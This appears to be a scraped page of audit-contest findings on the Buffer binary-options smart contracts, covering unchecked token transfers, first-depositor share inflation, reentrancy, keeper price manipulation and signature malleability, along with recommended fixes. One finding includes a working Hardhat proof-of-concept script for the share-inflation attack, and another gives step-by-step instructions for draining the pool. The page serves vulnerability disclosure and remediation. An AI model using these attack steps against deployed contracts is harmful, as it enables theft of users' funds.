2022-11-buffer-judging's People
2022-11-buffer-judging's Issues
jonatascm - No return validation in token transfer
jonatascm
high
No return validation in token transfer
Summary
There isn't any check on return values for tokenX transfer function.
Vulnerability Detail
Some ERC20 tokens fail silently just returning a false value, not sending correctly the fees, and breaking the protocol. Token example: ZRX
Impact
By creating a trade failing silently and closing trades returning some amount of value as fees "paid”, a malicious user could lead to loss of funds
Code Snippet
IERC20(optionsContract.tokenX()).transferFrom(
msg.sender,
address(this),
totalFee
);
tokenX.transfer(queuedTrade.targetContract, revisedFee);
tokenX.transfer(
queuedTrade.user,
queuedTrade.totalFee - revisedFee
);
IERC20(optionsContract.tokenX()).transfer(
queuedTrade.user,
queuedTrade.totalFee
);
tokenX.transfer(config.settlementFeeDisbursalContract(), settlementFee);
tokenX.transfer(referrer, referrerFee);
bool success = tokenX.transferFrom(msg.sender, address(this), premium);
bool success = tokenX.transfer(to, transferTokenXAmount);
bool success = tokenX.transferFrom(
account,
address(this),
tokenXAmount
);
bool success = tokenX.transfer(account, tokenXAmountToWithdraw);
Tool used
Manual Review
Recommendation
Use safeTransfer
and safeTransferFrom
methods of OpenZeppelin's SafeERC20
library instead of transfer
and transferFrom
Duplicate of #73
gandu - Manipulation of LPTOKEN(Buffer LP Token) when totalSupply is zero can lead to implicit minimum deposit amount and loss of user funds due to rounding errors
gandu
high
Manipulation of LPTOKEN(Buffer LP Token) when totalSupply is zero can lead to implicit minimum deposit amount and loss of user funds due to rounding errors
name: Audit item
about: These are the audit items that end up in the report
title: "Manipulation of LPTOKEN(Buffer LP Token) when totalSupply is zero can lead to implicit minimum deposit amount and loss of user funds due to rounding errors"
labels: "Critical Bug"
assignees: "buffer"
Summary
- When totalSupply is zero an attacker goes ahead and executes the following steps
- 1.The attacker calls provide function of bufferBinnerPool Contract with 1 Wei underlying tokens(tokenX) to mint LPToken(BLP)
- 2.They will get 1wei of the underlying token amount of LPToken(BLP)
- 3.They transfer z underlying tokens directly to bufferBinnerPool contract address.
- This leads to 1 wei of LPToken(BLP) worth z (+ some small amount)- Attacker won't have any problem making this z as big as possible as they have all the claim to it as a holder of 1 Wei of LPToken(BLP)
Vulnerability Detail
-
This attack has two implications
- 1.The first deposit can be front run and stolen
- Let's assume there is a first user trying to mint some LPToken(BLP) using their k*z underlying tokens
- An attacker can see this transaction and carry out the above-described attack making sure that k<1.
- This leads to the first depositor getting zero LPToken(BLP) for their k*z underlying tokens. All the tokens are redeemable by the attacker using their 1 wei of LPToken.
- 2.Implicit minimum Amount and funds lost due to rounding errors
- If an attacker is successful in making 1 wei of LPToken(BLP) worth z underlying tokens and a user tries to mint LPToken(BLP) using k* z underlying tokens then,
- If k<1, then the user gets zero LPToken(BLP) and all of their underlying tokens get proportionally divided between LPToken(BLP) holders
- This leads to an implicit minimum amount for a user at the attacker's discretion.
- If k>1, then users still get some LPToken(BLP) but they lose (k- floor(k)) * z) of underlying tokens which get proportionally divided between LPToken(BLP) holders due to rounding errors.
- If k<1, then the user gets zero LPToken(BLP) and all of their underlying tokens get proportionally divided between LPToken(BLP) holders
- This means that for users to not lose value, they have to make sure that k is an integer.
- If an attacker is successful in making 1 wei of LPToken(BLP) worth z underlying tokens and a user tries to mint LPToken(BLP) using k* z underlying tokens then,
- 1.The first deposit can be front run and stolen
-
Main Reason:
- Calculating the totalTokenXBalance() variable using a balance(address(this)) while minting token, so the amount attacker will transfer is also calculated. And totalTokenXBalance() function is the denominator in the mint variable.
-
Maths:
here BalanceOF(address(this)) == X + 1Wei now mint token will be :- amount/BalanceOF(address(this)
- = Y/(X+1wei) (here denominator is greater than numerator ) = 0.something
- = 0 (solidity round of math)
Impact
- this leads to the infinity amount of the user funds lost. also BufferBinaryPool contract is pool contract so that impecting other upcoming pool too.
Code Snippet
adding the bug code explanation for the bufferStaking Contract they has the same issue.
const { ethers } = require("hardhat");
async function main() {
let user;
[user, ] = await ethers.getSigners();
let underlyingABI = [
"function balanceOf(address _user) view returns (uint256)",
"function decimals() external view returns(uint8)",
"function name() external view returns(string)",
"function approve(address spender, uint256 amount) external returns (bool)",
"function transfer(address recipient, uint256 amount) external returns (bool)",
"function totalSupply() external view returns (uint256)"
]
let vaultABI = [
"function stakeBfr(uint256 _amount) external",
"function balanceOf(address _user) view returns (uint256)",
"function totalSupply() external view returns (uint256)",
"function totalUnderlying() external view returns (uint256)"
];
const provider = new ethers.providers.JsonRpcProvider("http://127.0.0.1:8545/");
// Getting vault instance
const vault = new ethers.Contract("0x314215b08cbc14396b11de9b0246013777c9a92b", vaultABI, provider);
// getting underlying instance
const underlying = new ethers.Contract("0x1A5B0aaF478bf1FDA7b934c76E7692D722982a6D", underlyingABI, provider);
const mintToken = new ethers.Contract("0x314215b08cbc14396b11de9b0246013777c9a92b", underlyingABI, provider);
// Impersonating account which has some underlying tokens
await hre.network.provider.request({
method: "hardhat_impersonateAccount",
params: ["0xb66127377ff3618b595177b5e84f8ee9827cd061"],
});
const attacker = await ethers.getSigner("0xb66127377ff3618b595177b5e84f8ee9827cd061");
// Getting some eth
await ethers.provider.send("hardhat_setBalance", [
attacker.address,
"0x1158e460913d00000", // 20 ETH
]);
if(await mintToken.balanceOf(attacker.address) == 0 ) {
console.log('===============================================');
const attackerBalance = await underlying.balanceOf(attacker.address);
const userLPbalance = await mintToken.balanceOf(user.address);
console.log("attacker's underlying balance before attack:", attackerBalance);
console.log("user's balance:",userLPbalance )
// Transferring some underlying tokens to user
await underlying.connect(attacker).transfer(user.address, 60000000);
const userBalance = await underlying.balanceOf(user.address);
console.log("user's underlying balance before attack:", userBalance)
// Approving
await underlying.connect(attacker).approve(vault.address, ethers.utils.parseEther('1'), {gasLimit: 2300000});
await underlying.connect(user).approve(vault.address,ethers.utils.parseEther('1'), {gasLimit: 2300000});
console.log('===============================================');
console.log('Step 1: Attacker Depositing 1 wei amount of Joe token to mint some xJoe');
console.log("balance of before contract", await underlying.balanceOf(attacker.address));
await vault.connect(attacker).stakeBfr(1, {gasLimit: 2300000});
console.log("balance of after contract", await underlying.balanceOf(attacker.address));
console.log("balance of minttoken should be 1 wei ", await mintToken.balanceOf(attacker.address));
console.log("balance of contract", await underlying.balanceOf(vault.address));
console.log('Attacker total underlying balance after deposit: ', await underlying.balanceOf(attacker.address));
console.log('===============================================');
console.log('Step 2: Transferring underlying directly to mintToken, z = 60000000');
await underlying.connect(attacker).transfer(vault.address, 60000000, {gasLimit: 23000000});
console.log("total supply while transfering the assets", await underlying.balanceOf(vault.address));
console.log("balance of contract", await underlying.balanceOf(vault.address));
console.log('===============================================');
console.log('Attacker 2nd time Depositing with less than z after attack....'); // these amount will as big as attacker want
await vault.connect(user).stakeBfr( 60000000, {gasLimit: 2300000});
const UserLPBalance = await mintToken.balanceOf(user.address);
console.log("balance of user minttoken", UserLPBalance);
// consider attacker as a new depositor
if(UserLPBalance == 0){
console.log("Attack is successful")
}
else {
console.log("Failed");
}
}
}
main()
.then(() => process.exit(0))
.catch((error) => {
console.error(error);
process.exit(1);
})
fork Blocknumber : 26788007
Tool used
- Manual Review
Recommendation
I like how BalancerV2 and UniswapV2 do it. some minimum amount of pool tokens get burnt when the first mint happens.
Duplicate of #81
sorrynotsorry - `registerCode` function is frontrunnable and it can be abused
sorrynotsorry
medium
registerCode
function is frontrunnable and it can be abused
Summary
registerCode
function is frontrunnable and it can be abused by the actors if intended.
Vulnerability Detail
Alice and Bob don't have a good relationship.
- Alice wants to register code and calls
registerCode
- Bob is an orchestrated hater and sends more gas to hijack Alice's
registerCode
call exactly with the same_code
. - Bob owns the _code and Alice doesn't.
Impact
A targeted address might not get the code and can't be a referrer. The same can be applied to protocol addresses as well.
Code Snippet
function registerCode(string memory _code) external {
require(bytes(_code).length != 0, "ReferralStorage: invalid _code");
require(
codeOwner[_code] == address(0),
"ReferralStorage: code already exists"
);
codeOwner[_code] = msg.sender;
userCode[msg.sender] = _code;
emit RegisterCode(msg.sender, _code);
}
Tool used
Manual Review
Recommendation
The team might consider refactoring the registerCode
by adding another option, which grants a randomized code by utilizing KECCAK encryption within.
peanuts - Length of lockedliquidity[msg.sender].length is calculated incorrectly for users
peanuts
high
Length of lockedliquidity[msg.sender].length is calculated incorrectly for users
Summary
The function lock(x,y,z) in BufferBinaryPool does not correctly check the length of lockedLiquidity. This results in function revert which leads to router being unable to create options.
Vulnerability Detail
In lock(), there is a requirement whereby id == lockedLiquidity[msg.sender].length
require(id == lockedLiquidity[msg.sender].length, "Pool: Wrong id");
This id is obtained from BufferBinaryOptions.sol createFromRouter(). The id will always be ever-increasing because of _generateTokenId().
function _generateTokenId() internal returns (uint256) {
return nextTokenId++;
}
If the Id reaches 10 and a user wants to create an option, his lockedLiquidity[user] will be 0 because he has not created an option yet. However, since the id is 10, and the length is 0, lock will always fail, resulting in function revert.
Impact
User cannot create any options.
Code Snippet
Tool used
Manual Review
Recommendation
Have a separate mapping to log all accounts from all users so that protocol can keep track of the option id and the option struct at the same time, similar to BufferRouter.sol
Duplicate of #26
m_Rassska - Unchecked return value for transferFrom() call.
m_Rassska
high
Unchecked return value for transferFrom() call.
Summary
- Unchecked return value for transferFrom() call
Vulnerability Detail
- In BufferRouter.sol there is a function initiateTrader() for option creation purposes. During the execution the optionsContract.tokenX() supposed to receive some fees, however the transferFrom() for some tokens returns bool instead of reverting. Since the returned value is not checked, this lead to undesired behavior.
Impact
- The user can pass the option into the queue without sending fees.
Code Snippet
-
function initiateTrade( uint256 totalFee, uint256 period, bool isAbove, address targetContract, uint256 expectedStrike, uint256 slippage, bool allowPartialFill, string memory referralCode, uint256 traderNFTId ) external returns (uint256 queueId) { // Checks if the target contract has been registered require( contractRegistry[targetContract], "Router: Unauthorized contract" ); IBufferBinaryOptions optionsContract = IBufferBinaryOptions( targetContract ); optionsContract.runInitialChecks(slippage, period, totalFee); // Transfer the fee specified from the user to this contract. // User has to approve first inorder to execute this function IERC20(optionsContract.tokenX()).transferFrom( msg.sender, address(this), totalFee ); queueId = nextQueueId; nextQueueId++; QueuedTrade memory queuedTrade = QueuedTrade( queueId, userQueueCount(msg.sender), msg.sender, totalFee, period, isAbove, targetContract, expectedStrike, slippage, allowPartialFill, block.timestamp, true, referralCode, traderNFTId ); queuedTrades[queueId] = queuedTrade; userQueuedIds[msg.sender].push(queueId); emit InitiateTrade(msg.sender, queueId, block.timestamp); }
Tool used
- Manual Review
Recommendation
- Wrap transferFrom() around require statement to handle failures.
ctf_sec - BufferBinaryPool.sol#provide cannot be paused.
ctf_sec
medium
BufferBinaryPool.sol#provide cannot be paused.
Summary
BufferBinaryPool.sol#provide cannot be paused.
Vulnerability Detail
Let the admin pause the inbounding deposit is a standard practice when building a liquidity pool. The admin can pause the binary optional.
/**
* @notice Pauses/Unpauses the option creation
*/
function toggleCreation() public onlyRole(DEFAULT_ADMIN_ROLE) {
isPaused = !isPaused;
emit Pause(isPaused);
}
In BufferPool.sol, user can call provide to supply tokenX and receives BLP token any time
/**
* @notice A provider supplies tokenX to the pool and receives BLP tokens
* @param minMint Minimum amount of tokens that should be received by a provider.
Calling the provide function will require the minimum amount of tokens to be minted.
The actual amount that will be minted could vary but can only be higher (not lower) than the minimum value.
*/
function provide(uint256 tokenXAmount, uint256 minMint)
external
returns (uint256 mint)
{
mint = _provide(tokenXAmount, minMint, msg.sender);
}
BufferBinaryPool.sol#provide cannot be paused, user can call it any time to supply tokenX.
Impact
The admin is not able to maintain the pool properly, user may not aware that they are not able to withdraw the desired amount of the tokenX after providing liqudity.
function _withdraw(uint256 tokenXAmount, address account)
internal
returns (uint256 burn)
{
require(
tokenXAmount <= availableBalance(),
"Pool: Not enough funds on the pool contract. Please lower the amount."
);
uint256 totalSupply = totalSupply();
uint256 balance = totalTokenXBalance();
uint256 maxUserTokenXWithdrawal = (balanceOf(account) * balance) /
totalSupply;
uint256 tokenXAmountToWithdraw = maxUserTokenXWithdrawal < tokenXAmount
? maxUserTokenXWithdrawal
: tokenXAmount;
Code Snippet
Tool used
Manual Review
Recommendation
We recommend the project add whenNotPaused modifier to given the admin power to pause the inbounding deposit of the tokenX in BinaryPool
rvierdiiev - Fee on transfer tokens are not supported
rvierdiiev
medium
Fee on transfer tokens are not supported
Summary
Protocol will not be working correctly with fee on transfer tokens as he doesn't check the balance and fully trust to amount provided by users.
Vulnerability Detail
When protocol transfers funds from user to contract, it doesn't check the amount they received using ERC20 balance function. If fee on transfer tokens are used that means that protocol will not be able to make funds calculations correctly.
For example if user initiated trading and then canceled it, the protocol will lose some amount.
Impact
Lose of funds for protocol.
Code Snippet
https://github.com/sherlock-audit/2022-11-buffer/blob/main/contracts/contracts/core/BufferRouter.sol#L90
https://github.com/sherlock-audit/2022-11-buffer/blob/main/contracts/contracts/core/BufferRouter.sol#L361-L364
Tool used
Manual Review
Recommendation
Check balances before and after transfer to get correct amount of funds provided by user.
Duplicate of #76
eyexploit - No check on transferFrom() return value
eyexploit
high
No check on transferFrom() return value
Summary
In Router contract, funds are at risk, an attacker can initiate the trades without paying any fee and then cancel those trades. Attacker cancel the one of his open trade, by calling cancelQueuedTrade(uint256 queueId)
on router contract, it will then call _cancelQueuedTrade(uint256 queueId)
and transferred the tokensX back to the attacker which was never received from him before (as a fee while opening a trade).
Vulnerability Detail
In BufferRouter contract, initiateTrade()
is a function to open a trade. Whenever user open a new trade, smart contract collects the fees from the user for opening his trade.
As there is no check on return value of transferFrom, so even though the transfer of tokens(as a fee) failed , it won't revert and adds the user's request to the trade queue.
Impact
The transferFrom function will failed silently, with which user can
- leverage the trading without paying any fee.
- received as many tokenX from the contract.
Code Snippet
IERC20(optionsContract.tokenX()).transferFrom(
msg.sender,
address(this),
totalFee
);
Tool used
Manual Review
Recommendation
Wrap the call into a require() or use openzeppelin's SafeERC20 library.
Duplicate of #73
sorrynotsorry - ECDSA signature malleability
sorrynotsorry
high
ECDSA signature malleability
Summary
The codebase uses [email protected] package which has ECDSA signature malleability for the functions that take a single bytes argument.
Vulnerability Detail
Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature via ECDSA.recover
and ECDSA.tryRecover
due to accepting EIP-2098 compact signatures in addition to the traditional 65 byte signature format.
A user may take a signature that has already been submitted, submit it again in a different form, and bypass this protection.
Impact
The functions ECDSA.recover
and ECDSA.tryRecover
are vulnerable to a kind of signature malleability due to accepting EIP-2098 compact signatures in addition to the traditional 65 byte signature format. This is only an issue for the functions that take a single bytes argument, and not the functions that take r, v, s or r, vs as separate arguments.
The potentially affected contracts are those that implement signature reuse or replay protection by marking the signature itself as used rather than the signed message or a nonce included in it. A user may take a signature that has already been submitted, submit it again in a different form, and bypass this protection.
Code Snippet
function _validateSigner(
uint256 timestamp,
address asset,
uint256 price,
bytes memory signature
) internal view returns (bool) {
bytes32 digest = ECDSA.toEthSignedMessageHash(
keccak256(abi.encodePacked(timestamp, asset, price))
);
address recoveredSigner = ECDSA.recover(digest, signature);
return recoveredSigner == publisher;
}
Tool used
Manual Review
Recommendation
Upgrade @openzeppelin/contracts to version 4.7.3 or higher.
Duplicate of #23
rvierdiiev - Possible trade ignore from keepers
rvierdiiev
high
Possible trade ignore from keepers
Summary
When user won option then the only option for him to get money is any keeper to call BufferRouter.unlockOptions
. If any keeper didn't call unlockOptions
for option then user doen't have any ability to do that himself. As result he can't withdraw the funds he won.
Vulnerability Detail
BufferRouter.resolveQueuedTrades is the only function that allows to resolve options. And it's callable only by keepers. If for some reasons keepers will not call resolveQueuedTrades function for option then user doesn't have any ability to resolve option himself. As result he will not be able to get his funds.
Impact
Users funds are stucked until any keeper will call resolveQueuedTrades for him.
Code Snippet
Tool used
Manual Review
Recommendation
Add function that users can call to resolve option themselves. They will also provide data from publisher and option id.
hl_ - Lock function unable to execute
hl_
medium
Lock function unable to execute
Summary
Lock function unable to execute due to inconsistent initializaiton of id and lockedLiquidity values.
Vulnerability Detail
In respect of below code:
In the lock function, the id is set to start from 1, given:
- id (optionId) in BufferBinaryPool.sol is set as _generateTokenId() in BufferBinaryOptions.sol
- Function _generateTokenId() returns nextTokenId++
- nextTokenId is initialzed as 0
However, lockedLiquidity[msg.sender].length is set to start from 0.
Hence, (!id == lockedLiquidity[msg.sender].length) and the lock function will not be able to execute.
Impact
Lock function unable to execute
Code Snippet
Tool used
Manual Review
Recommendation
Ensure consistent values for id and lockedLiquidity values at inital stage.
lockedLiquidity value should be first filled before running require check as shown above.
Duplicate of #26
zapaz - DivCeil function
zapaz
medium
DivCeil function
Summary
divCeil gives strange results
Vulnerability Detail
burn amount may be wrong when calling divCeil
divCeil(1001, 1000) returns 2
divCeil(1, 1000) returns 1
should return ceil amount only if above half
Impact
may throw withdraw when call here :
burn = divCeil((tokenXAmountToWithdraw * totalSupply), balance);
Code Snippet
function divCeil(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
if (a % b != 0) c = c + 1;
return c;
}
Tool used
Manual review
Recommendation
May use this modified function
function divCeil2(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
if ( 2 * (a % b) > b ) c = c + 1;`
return c;
}
KingNFT - The '_openQueuedTrade()' function is susceptible to reentrancy attack
KingNFT
high
The '_openQueuedTrade()' function is susceptible to reentrancy attack
Summary
The '_openQueuedTrade()' function is susceptible to reentrancy attack when the underlying token is an ERC777 token (ERC20 extensive). Attackers can exploit it to draw back their fund while still keep their order successfully opened.
Reference for ERC777:
https://docs.openzeppelin.com/contracts/3.x/erc777
Vulnerability Detail
A brief overview of '_openQueuedTrade()' function
function _openQueuedTrade(uint256 queueId, uint256 price) internal {
//...
IERC20 tokenX = IERC20(optionsContract.tokenX());
tokenX.transfer(queuedTrade.targetContract, revisedFee);
if (revisedFee < queuedTrade.totalFee) {
tokenX.transfer( // @audit reentrancy attack vector 1
queuedTrade.user,
queuedTrade.totalFee - revisedFee
);
}
optionParams.totalFee = revisedFee;
optionParams.strike = price;
optionParams.amount = amount;
uint256 optionId = optionsContract.createFromRouter( // @audit reentrancy attack vector 2
optionParams,
isReferralValid
);
queuedTrade.isQueued = false; // @audit should be updated before any call out
emit OpenTrade(queuedTrade.user, queueId, optionId);
}
Attack Vector 1, call stack:
-> router._openQueuedTrade()
| -> tokenX.transfer()
| | -> user.tokensReceived()
| | | -> router.cancelQueuedTrade()
Attack Vector 2, call stack:
-> router._openQueuedTrade()
| -> optionsContract.createFromRouter()
| | -> referrer.tokensReceived()
| | | -> user.attack()
| | | | -> router.cancelQueuedTrade()
Impact
Attackers can exploit this bug to draw back their fund while still keep their order successfully opened.
Code Snippet
Tool used
Manual Review
Recommendation
function _openQueuedTrade(uint256 queueId, uint256 price) internal {
//...
queuedTrade.isQueued = false; // @audit should be updated before any call out
// ...
}
Duplicate of #130
rvierdiiev - Keeper can manipulate with trading results
rvierdiiev
high
Keeper can manipulate with trading results
Summary
Because the protocol fully trust to keepers it's possible for them to manipulate with trades by providing incorrect publisher's results.
Vulnerability Detail
Keeper can be anyone who should track new trades and also close old trades.
Currently, the protocol fully trust the keeper and only check that the data from publisher is indeed signed by publisher.
Let's look into BufferRouter.unlockOptions function.
https://github.com/sherlock-audit/2022-11-buffer/blob/main/contracts/contracts/core/BufferRouter.sol#L190-L232
function unlockOptions(CloseTradeParams[] calldata optionData) external {
_validateKeeper();
uint32 arrayLength = uint32(optionData.length);
for (uint32 i = 0; i < arrayLength; i++) {
CloseTradeParams memory params = optionData[i];
IBufferBinaryOptions optionsContract = IBufferBinaryOptions(
params.asset
);
(, , , , , uint256 expiration, , , ) = optionsContract.options(
params.optionId
);
bool isSignerVerifed = _validateSigner(
params.expiryTimestamp,
params.asset,
params.priceAtExpiry,
params.signature
);
// Silently fail if the timestamp of the signature is wrong
if (expiration != params.expiryTimestamp) {
emit FailUnlock(params.optionId, "Router: Wrong price");
continue;
}
// Silently fail if the signature doesn't match
if (!isSignerVerifed) {
emit FailUnlock(
params.optionId,
"Router: Signature didn't match"
);
continue;
}
try
optionsContract.unlock(params.optionId, params.priceAtExpiry)
{} catch Error(string memory reason) {
emit FailUnlock(params.optionId, reason);
continue;
}
}
}
When keeper provides close trading params, the only data signed by publisher is expiryTimestamp, asset, priceAtExpiry.
bool isSignerVerifed = _validateSigner(
params.expiryTimestamp,
params.asset,
params.priceAtExpiry,
params.signature
);
The id of option to close is included by keeper and is not controlled by publisher.
Later there is only 1 check if expiration != params.expiryTimestamp
.
Pls, note that there is no check that option trading pair is same as publishers oracle price.
This allows keeper to fully drain all funds from the pool
- keeper initiate trade from another account for all available amount of pool
- then keeper starts this trade, using
resolveQueuedTrades
- at expiration time of option keeper provides price for another asset with same expiration as the created option(but he will provide price that will 100% win)
- keeper receive all money from pool
Same problems has resolveQueuedTrades
function as it also doesn't check that the trade pair is same as provided publishers oracle price. That means that keeper can full slippage protection with providing another asset's prices.
I believe that this is also has the same root, that's why i do not create separate report for that.
Impact
Keeper can full protocol and drain all funds from pool.
Code Snippet
Tool used
Manual Review
Recommendation
The check should be added that the price, provided by keeper is for the same pair that user is trading.
zapaz - Solidity versions
zapaz
low
Solidity versions
Summary
solidity pragma version should be fixed AND set to latest
Vulnerability Detail
solidity fixed version
due to unexpected compatibility between different solidity versions it is recommended whenever it's possible to use fixed version
solidity latest version
due to bug found after 0.8.4 , it is recommender to use latest version, i.e. 0.8.17 (17 november 2022)
Impact
potentially unexpected bug
Code Snippet
pragma solidity 0.8.17;
Tool used
Manual Review
Recommendation
change 1 time pragma solidity ^0.8.0;
to pragma solidity 0.8.17;
change 4 times pragma solidity 0.8.4;
to pragma solidity 0.8.17;
gandu - Manipulation of LPTOKEN(Buffer LP Token) when totalSupply is zero can lead to implicit minimum deposit amount and loss of user funds due to rounding errors
gandu
high
Manipulation of LPTOKEN(Buffer LP Token) when totalSupply is zero can lead to implicit minimum deposit amount and loss of user funds due to rounding errors
rvierdiiev - Result of ERC20 transfer is ignored
rvierdiiev
medium
Result of ERC20 transfer is ignored
Summary
Because result of ERC20 transfer function is ignored it's possible that transfer will fail, but protocol will not notice that.
Vulnerability Detail
BufferRouter._openQueuedTrade sends trading amount to the options contract and change to user using ERC20 transfer function and ignore boolean result from it.
Because of that it's possible that transfer will not be successful, but protocol will not notice that.
Impact
Incorrect payments.
Code Snippet
Tool used
Manual Review
Recommendation
Use safeTransfer from SafeERC20 open zepelin lib.
Duplicate of #73
rvierdiiev - BufferBinaryOptions.createFromRouter do not use safeMint
rvierdiiev
medium
BufferBinaryOptions.createFromRouter do not use safeMint
Summary
Because BufferBinaryOptions.createFromRouter
do not use safeMint it's possible to mint NFT to the contract the doesn't support ERC721. As result contract will not be able to use ERC721 function to manage the token(like allowance, transfer).
Vulnerability Detail
BufferBinaryOptions.createFromRouter
mints option token for trader in not safe way. Though even if option creator is contract that doesn't support ERC721, it will be possible for him to win option as no need for option owner to do anything. But another things such transfer, allowance will be not available for the option owner.
Impact
Option owner is not able to use ERC721 functions, so he can't resell option.
Code Snippet
Tool used
Manual Review
Recommendation
Use safeMint function when minting new token.
Duplicate of #49
8olidity - `BufferBinaryOptions::checkParams()` has a problem with `revisedFee` processing
8olidity
high
BufferBinaryOptions::checkParams()
has a problem with revisedFee
processing
Summary
BufferBinaryOptions::checkParams()
has a problem with revisedFee
processing
Vulnerability Detail
In checkParams()
, if the calculated amount
and newFee
are greater than maxAmount
and totalFee
, The _ fees()
will be called again to recalculate. But checkParams()
judged it to be wrong.This should be newFee > optionParams.totalFee
instead of newFee < optionParams.totalFee
// Recalculate the amount and the fees if values are greater than the max and partial fill is allowed
if (amount > maxAmount || newFee < optionParams.totalFee) { // @audit
require(optionParams.allowPartialFill, "O29");
amount = min(amount, maxAmount);
(revisedFee, , ) = _fees(amount, settlementFeePercentage);
} else {
revisedFee = optionParams.totalFee;
}
The calculation error here may affect the operation of BufferRouter::_openQueuedTrade()
. Because if revisedFee > totalFee
.
Can cause insufficient fee.
IERC20 tokenX = IERC20(optionsContract.tokenX());
tokenX.transfer(queuedTrade.targetContract, revisedFee); //@audit
// Refund the user in case the trade amount was lesser
if (revisedFee < queuedTrade.totalFee) {
tokenX.transfer(
queuedTrade.user,
queuedTrade.totalFee - revisedFee
);
}
Impact
BufferBinaryOptions::checkParams()
has a problem with revisedFee
processing
Code Snippet
Tool used
Manual Review
Recommendation
if (amount > maxAmount || newFee > optionParams.totalFee) { // @audit
require(optionParams.allowPartialFill, "O29");
amount = min(amount, maxAmount);
(revisedFee, , ) = _fees(amount, settlementFeePercentage);
} else {
revisedFee = optionParams.totalFee;
}
8olidity - `BufferBinaryPool::send()`unlocks the total number of tokenx of the user
8olidity
high
BufferBinaryPool::send()
unlocks the total number of tokenx of the user
Summary
BufferBinaryPool::send()
unlocks the total number of tokenx of the user
Vulnerability Detail
The number of tokenX of tokenXAmount
will be sent to the to address in BufferBinaryPool::send()
. But what lockedAmount
subtracts here is not the number of tokenXAmount
. Instead, it is all the number of previous users lock()
. All tokenx previously locked by the user will be unlocked.
For example, if the number of lock is 10, then the tokenXAmount is 10.
lockedLiquidity[msg.sender].push(
LockedLiquidity(tokenXAmount, premium, true)
);
Then the user calls send (id,to,0)
and the number of tokenXAmount
is 0. But the function unlocks all the previous tokenx of the user.
ll.locked = false;
lockedPremium = lockedPremium - ll.premium;
lockedAmount = lockedAmount - ll.amount; // @audit
Impact
BufferBinaryPool::send()
unlocks the total number of tokenx of the user
Code Snippet
Tool used
Manual Review
Recommendation
function send(
uint256 id,
address to,
uint256 tokenXAmount
) external override onlyRole(OPTION_ISSUER_ROLE) {
LockedLiquidity storage ll = lockedLiquidity[msg.sender][id];
require(ll.locked, "Pool: lockedAmount is already unlocked");
require(to != address(0));
uint256 transferTokenXAmount = tokenXAmount > ll.amount
? ll.amount
: tokenXAmount;
ll.locked = false;
lockedPremium = lockedPremium - ll.premium;
lockedAmount = lockedAmount - transferTokenXAmount;
bool success = tokenX.transfer(to, transferTokenXAmount);
require(success, "Pool: The Payout transfer didn't go through");
if (transferTokenXAmount <= ll.premium)
emit Profit(id, ll.premium - transferTokenXAmount);
else emit Loss(id, transferTokenXAmount - ll.premium);
}
Ruhum - First liquidity provider to BufferBinaryPool can block users with low funds from depositing their tokens
Ruhum
medium
First liquidity provider to BufferBinaryPool can block users with low funds from depositing their tokens
Summary
This is a common problem with vault-like contracts. Whenever someone deposits token X to receive newly minted shares Y, the first caller can manipulate the vault. In this case, the first caller is able to block anybody with fewer funds than them from providing liquidity to the pool.
Vulnerability Detail
- You deposit 1 token to get 1 share
- You send a very large number of tokens,
$Z$ directly to the pool - Subsequent liquidity providers have to deposit more than
$Z$ tokens because of the way shares are calculated:
$shares = amount * supply / balance$ Since$supply = 1$ and$balance = Z$ ,$amount$ has to be$>= balance$ for$shares$ to be$>0$ .
The pool already blocks deposit calls where no shares are minted. Thus, you're not able to steal other people's liquidity. But, you can still stop them from depositing unless they use a very large number of funds. Since the first liquidity provider is able to withdraw their tokens at some point in the future, the attacker only has the opportunity cost to worry about.
The actual amount needed to block a large number of users depends on the popularity of the protocol.
Impact
Liquidity providers with a small amount of liquidity won't be able to deposit their tokens.
Code Snippet
function _provide(
uint256 tokenXAmount,
uint256 minMint,
address account
) internal returns (uint256 mint) {
uint256 supply = totalSupply();
uint256 balance = totalTokenXBalance();
require(
balance + tokenXAmount <= maxLiquidity,
"Pool has already reached it's max limit"
);
if (supply > 0 && balance > 0)
mint = (tokenXAmount * supply) / (balance);
else mint = tokenXAmount * INITIAL_RATE;
require(mint >= minMint, "Pool: Mint limit is too large");
require(mint > 0, "Pool: Amount is too small");
bool success = tokenX.transferFrom(
account,
address(this),
tokenXAmount
);
require(success, "Pool: The Provide transfer didn't go through");
_mint(account, mint);
LockedAmount memory amountLocked = LockedAmount(block.timestamp, mint);
liquidityPerUser[account].lockedAmounts.push(amountLocked);
_updateLiquidity(account);
emit Provide(account, tokenXAmount, mint);
}
Tool used
Manual Review
Recommendation
Uniswap had the same issue with their V2 contracts. They solved it by sending the first 1000 shares to the zero address: https://github.com/Uniswap/v2-core/blob/master/contracts/UniswapV2Pair.sol#L121
Duplicate of #81
sorrynotsorry - MAX_WAIT_TIME is short that might endanger the service ability of the protocol
sorrynotsorry
high
MAX_WAIT_TIME is short that might endanger the service ability of the protocol
Summary
MAX_WAIT_TIME
is short enough to cancel the queued trades in case of network congestion and network down times.
Vulnerability Detail
resolveQueuedTrades
function validates the queued trades and they're either opened or canceled due to validation.
One validation is (block.timestamp - queuedTrade.queuedTime <= MAX_WAIT_TIME)
If this validation pass, the queued trades are opened via _openQueuedTrade
But, if the ETH network is congested and there is surging in block production, the queued trades that are pending to be resolved might be cancelled since the MAX_WAIT_TIME
variable is set to 1 minute.
Impact
Since the congested network occurs due to large price fluctuations in the market, such as a sudden price fall where everybody wants to sell their assets or a bright price jump where everybody wants to be a buyer, the traders would like to utilize these moments by the options. But it might not be available to create one due to MAX_WAIT_TIME. So the protocol might not be serving the traders when actually needed in the correct time.
Loss of funds due to double gas payment.
The users will have to call initiateTrade
again.
The users will have queueID's in userQueuedIds
which are not opened and accounted.
Code Snippet
if (block.timestamp - queuedTrade.queuedTime <= MAX_WAIT_TIME) {
_openQueuedTrade(currentParams.queueId, currentParams.price);
} else {
_cancelQueuedTrade(currentParams.queueId);
uint16 MAX_WAIT_TIME = 1 minutes;
Tool used
Manual Review
Recommendation
Consider increasing the MAX_WAIT_TIME.
m_Rassska - Unchecked return value for `transferFrom()`
m_Rassska
unlabeled
Unchecked return value for transferFrom()
Summary
- Unchecked return value for transferFrom() call
Vulnerability Detail
- In BufferRouter.sol there is a function initiateTrader() for option creation purposes. During the execution the optionsContract.tokenX() supposed to receive some fees, however the transferFrom() for some tokens returns bool instead of reverting. Since the returned value is not checked, this lead to undesired behavior.
Impact
